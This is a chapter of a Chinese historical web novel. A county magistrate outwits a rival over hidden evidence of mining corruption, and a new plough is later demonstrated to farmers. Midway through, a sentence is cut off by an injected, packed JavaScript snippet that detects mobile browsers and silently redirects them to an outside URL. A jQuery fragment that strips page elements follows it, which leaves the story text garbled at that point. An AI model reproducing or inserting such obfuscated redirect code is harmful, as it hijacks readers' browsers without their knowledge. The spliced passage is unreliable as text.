屋子里已空出一段沉默,两位县令对坐却各自思量一言不发,只有烛火静静燃烧。
秦厌目光闪烁一下,只因烛心噼啪作响。
赵昙余光扫过崔息,他方才那一番表情的变化仿佛滴水入海的涟漪,只待片刻就消散不见。
他心情焦灼了几分,但忍住不发。
这时候比拼的就是忍耐,谁先开口便是落了下风。
忽然,崔息站了起来,赵昙心里一绷,层叠凌乱的话语在脑海中紧急排布。
哪晓得这崔县令站起来只是去剪烛,他拿起的那把剪刀样式马虎,锋刃似是没有开过一般,只见崔息拨着袖子剪下一刀烛芯却还未断,烛火飘摇晃眼睛,连带着赵昙的思量也被打断。
直到崔息再一剪,过长的烛芯终于断去,明光渐充盈,他坐回原位。
赵昙以为他还要再与自己对峙片刻,哪知崔息忽然开口:“赵县令回去要路过青州吧?若被段氏斩于中途可如何是好?”
没想到他竟知道此事,赵昙本想虚晃一枪却被他揭破。
于是只好以利相诱:“崔县令,此事不同凡响,若你真做成了,害怕仕途不顺畅么?来此我已打听过,水道通后乡绅就极力相帮,尤其是谢、隹两家。眼下这水道还没有能过铁矿船,所以此刻便是崔县令的莫大机缘!”
崔息抿一口茶问:“赵县令从前怎么不去做这事?”
赵昙干笑几声,这问题直戳核心但他在官场混迹面皮也不薄。
他思索片刻便答:“从前只我一人,取证已是难上加难。后又居于谢府,明面上与谢府交好,实则潜心搜证。当年我势单力薄不能成大事,如今听闻崔县令明察秋毫以律办事便知赵某的知己来了,所以特地来广平县如实相告。”
听了这些话他不由撇了撇嘴。好厚的面皮,简直比大明宫的院墙还厚,但偏偏这样的人在官场最吃得开。秦厌虽然不懂官场事,但没吃过猪肉可见过猪跑。
赵昙瞧见了,心中不悦,但又瞧他轻甲加身一股威武之气也不敢招惹。
尤其是崔息刚才说的那番话提醒他了,段氏可以在青州劫杀他,但这番凶险来时却不记得,只记得朱紫袍服与金银鱼袋。
他继续等崔息的回话。
可惜方才的计策没有成,被那剪烛动作打乱了节奏,否则此刻他已答应下来。
答应下来以后他查案,自己写文书,再……
“赵县令,永平县春夏总有熊掌流入江南,此事你是否知情?”崔息又将矛头转到其他事上。
赵昙来时对此已有准备,能把永平县盘活的人自然是会查看文书仔细核对的,那些熊掌来去的蛛丝马迹也灭去不得。
“赵某自然是知晓的,此事都为隹氏自作主张,听闻我调任江南他们便大加贿赂,本县已将此赃物送予刺史明察。”赵昙双手一拱举过头顶,说到刺史还是遥遥一揖。
秦厌佩服,这样的人不高升谁高升?
能把顺带贿赂说得如此刚正不阿清新脱俗,也就这位赵昙赵县令了。
“原来如此,赵县令忠义之举实在令人钦佩。今日时候不早,本县要回去批改公文,赵县令请便吧。”崔息不慌不慌站起身,理一理袍子抬腿要走。
赵昙这下明白了,刚才的节奏全由崔县令控着,自己为什么来要怎么说,一套打乱步步不及。
而且说到最后怎么还绕到这熊掌之上,这不是坐实了自己与隹氏在离任永平后仍有往来么!
“诶,崔县令,赵某也不再相瞒了,请你留步,留步啊!”赵昙赶紧喊住崔息。
“相瞒?原来赵县令还有事相瞒?”崔息只作不知。
赵昙看了大骂狡猾,看来自己与崔氏门人的距离还异常遥远,就这样一个拿来顶罪流放的冒牌探花也要斗得阵脚大乱。
“是,全怪赵某贪功,崔县令高义赵某实在不及,只惦记了一两分功绩就差点断送大事。崔县令就听我一言吧!”赵昙七分真三分假地说道。
崔息没有思索直接坐了回去。
这么干脆的模样让赵昙怀疑是不是这小子运气好刚才的节奏打乱不过是无心为之,只是自己太过紧张所以失了先机。
“崔县令,我有同僚在京畿要地为官,圣人说是外患方解只怕内忧,所以如今已派钦差各地巡视边陲,而永平县据说也在那巡视名单里,再过一两个月你就会接到刺史消息的。”
赵昙把最重要的一条消息露给崔息,他知道再不讲这小子不管是装傻还是真傻他都是真要走!
而自己拖延不起,官职在身不可在此地逗留太久。
“所以依照赵县令的意思我应当如何做呢?”崔息目露真诚。
赵昙信心重归,是自己把他想得太复杂,或者说这崔息胆子太小,只有自己露出关键一手才肯合作。
“我会将所有证据都给崔县令,到时一并呈给钦差即可。”
“就这么简单?”
“就这么简单!”
“好!”崔息一拍桌案。
赵昙松下一口气,这事算骗成了一大半。
毕竟这样的功劳实在诱人,重振永平县再发新矿产,这些足够这崔息仕途再进一步。
“证据便在库房那第三个架下,你把那架子挪开,再将地板撬开,凿破石头便可取得。”赵昙直接把地方说了。
“如此而已?”
“不错。”赵昙对自己的藏物之法颇有自信。
他那些证据也搜集得很足,只要谢家的账簿没有烧,查出来便是伤筋动骨。
但这个做法亦有弊端,下一任永平县县令多半是要记恨崔息的。
那矿产谢、隹两家都有,两家在本地的关系盘根错节,如此连根拔起必定大伤元气。
这也是他不愿做此事的原因之一,毕竟断人财路如杀人父母。
“赵县令实在高义。”崔息夸奖。
赵昙摆摆手说受之有愧,又讲了些此事若成便如何如何的话。
他话语之中满是对以后仕途的畅想又约定如何相携,聊到月破云又落下才罢休,就是没有酒水作陪,不然还可以再真一些。
崔息送他出门,秦厌赶车回去。
回到府里,秦厌问崔息:“公子这赵县令的话可靠吗?”
“不可全信,也不可不信。”崔息按一按自己的眉心,虚与委蛇总是疲倦且无聊。
每次太轻易就看到了赵昙的目的,他不过是求己完满再将麻烦甩给自己,索性将计就计。
-
第二日崔息派秦厌去找赵昙,他这一拒绝谢栖真出去多少有些麻烦,叫秦厌护送一下,免得证据缺失人却死了或者失踪。
可秦厌去他所指的客栈一问,说是人连夜就出了城,租的两匹好马,很是着急。
“倒是警惕……”
想到他藏东西的方式,崔息觉得他其实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368816|138116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
算堪用的地方官。
胆大但心思缜密,用在得当的地方不失为一把好刀。
“公子,丰娘说今日要与杨娘子一同给农户们讲如何用那曲辕犁,她要我们也去看。”
这事是昨日丰娘就对自己说的,可是昨日夜里公子同赵昙话里有话听得他都忘记了,现在赵昙一走他才一激灵。
昨天这么一遭秦厌终于明白文臣武将原来都有生死一线的时候,文臣是平常事平常时忽然就垮塌,武将是锋刃之下瞬息胜负。
只是这些过后你还是要吃饭睡觉,只是人好像无论跨越多少生死都无法避开生死。
“怎么,有所悟?”崔息笑问他。
“今日方知此地的凶险,小小永平也是暗藏杀机啊!”秦厌拍拍胸脯。
崔息拍拍他的肩膀道:“不错,有些长进。”
公子难得夸自己,秦厌抬头挺胸,觉得神气得不行。
来到丰娘指示的地方,两个人看到她们俩正在跟农户说话。
今日丰娘与杨娘子都没有施粉黛,淡淡的眉目。
两个人头上包着布巾,穿着素色衣衫指着那曲辕犁一点点讲解。
“犁为利也,大伙儿瞧,这里装的铁器就是这个利。利就有利于发土,春秋耕种时这犁地的深度都不一样,喏,调此处便是……”
丰娘指着犁的辕讲着,杨娘子在旁边牵牛,可这牛就是不过来。
有一娘子瞧见她如此模样大笑几声,杨珞云脸红,那娘子直接过来说如此这般牛就才走呢!
她过去接了绳子,轻轻牵动,这牛还真就不倔了,慢腾腾地挪了地方。
讲完这曲辕犁两个人又示范如何用,可不得法总是不大顺利。
秦厌在旁边着急,但他和公子对那曲辕犁也是一窍不通,之前看她们两个人闷头研究了许久,没想到真上手还是有不少的难度。
周围农户纷纷笑起来,但一笑完便来搭把手,这里试试那里讲讲。
不多时牛“哞哞”地叫几声开始拖动那曲辕犁,利处破土,犁到最后时要调换位置,曲辕犁调换简单,稍加操作便可开始第二行的疏松。
丰娘少有如此局促的时候,但是崔息没有看笑话的心情,颇有些敬佩,这是莫大的勇气也是真愿农户们蒸蒸日上。
“阿郎,今日闹了不少笑话,但还算顺利。”丰娘已经看到他们,走过来简单概括两句。
秦厌问:“丰娘,怎么突然想着来做这事?公子不是说等秋收以后再讲么?”
“空着也是空着,做一些事也好,这时候试过,秋收以后再说效果不就更好了?而且总不能以后叫阿郎也闹笑话。”
杨珞云也走过来,她远远就在拍灰尘。
“如果以后农户们都能用上这曲辕犁那可省心省力多了。”
崔息又看看西南方那层叠的山峦,陆笙也说它用了以后可省心省力。
别看只是减轻不多的时间,那可能是一不小心就过度的导致身体劳损的最后一根稻草,也可能是在孩子触碰危险时及时阻止的一双手,很珍贵。
“阿郎,你在想什么?”
“没什么,你们继续吧。秦厌,你留下护卫。”
秦厌不解,这有什么好护卫的,丰娘也是有本事傍身的。
后面听公子说“我一个人走走”才明白,原来他是要疏散疏散,是又想念笙姐姐。
也是,谁不想她呀!